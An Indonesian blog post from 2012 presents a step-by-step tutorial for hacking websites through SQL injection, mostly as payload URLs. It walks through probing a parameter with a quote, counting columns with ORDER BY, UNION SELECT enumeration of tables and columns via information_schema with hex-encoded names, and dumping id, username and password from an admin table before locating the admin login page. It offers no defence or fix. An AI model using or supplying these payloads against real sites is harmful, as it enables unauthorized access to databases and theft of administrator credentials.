Jumat, 09 November 2012

Hack Website Menggunakan SQL Injection

A. Pengertian SQL Injection

SQL Injection adalah sebuah aksi hacking yang dilakukan diaplikasi client dengan cara memodifikasi perintah SQL yang ada dimemori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.


B. Sebab terjadinya SQL Injection

1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.


C. Langkah-Langkah Dalam Menjalankan SQL Injection

[ Langkah 1 ] Carilah target
Misal: [site]/berita.php?id=100


Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
  
contoh:
[site]/berita.php?id=100' atau
 [site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]

[ Langkah 2 ] Mencari dan menghitung jumlah table yang ada dalam databasenya

Gunakan perintah: order by

 Contoh:

 [site]/berita.php?id=-100+order+by+1-- atau
 [site]/berita.php?id=-100+order+by+1/*

 Ceklah secara step by step (satupersatu)...
 Misal:

 [site]/berita.php?id=-100+order+by+1--
 [site]/berita.php?id=-100+order+by+2--
 [site]/berita.php?id=-100+order+by+3--
 [site]/berita.php?id=-100+order+by+4--

 Sehingga muncul error atau hilang pesan error...
 Misal: [site]/berita.php?id=-100+order+by+9--

 Berarti yang kita ambil adalah sampai angka 8
 Menjadi [site]/berita.php?id=-100+order+by+8--

[ Langkah 3 ] Mengeluarkan angka berapa yang muncul gunakan perintah union

 karena tadi error sampai angka 9
 maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
 ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb
pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

Lihat versi yang digunakan se'umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..

[ Langkah 4 ] Menampilkan table yang ada pada web tersebut

 perintah table_name >>> dimasukan pada angka yangg keluar tadi
 perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

 Code:
 [site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
Se'umpama table yang muncul adalah "admin"

[ Langkah 5 ] Menampilkan semua isi dari table tersebut

 perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
 perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir
  [site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.​tables+where+table_schema=database()--

[ Langkah 6 ] Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi

perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir
   [site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema​.columns+where+table_name=0xhexa--

Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :

http://www.v3n0m.net/ascii.htm

Contoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema​.columns+where+table_name=0x61646D696E--

[ Langkah 7 ] Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan cara :

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

Contoh kata yang keluar adalah id,username,password

Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--

[ Langkah 8 ] Tahap terakhir mencari halaman admin atau login.

0 komentar:

Posting Komentar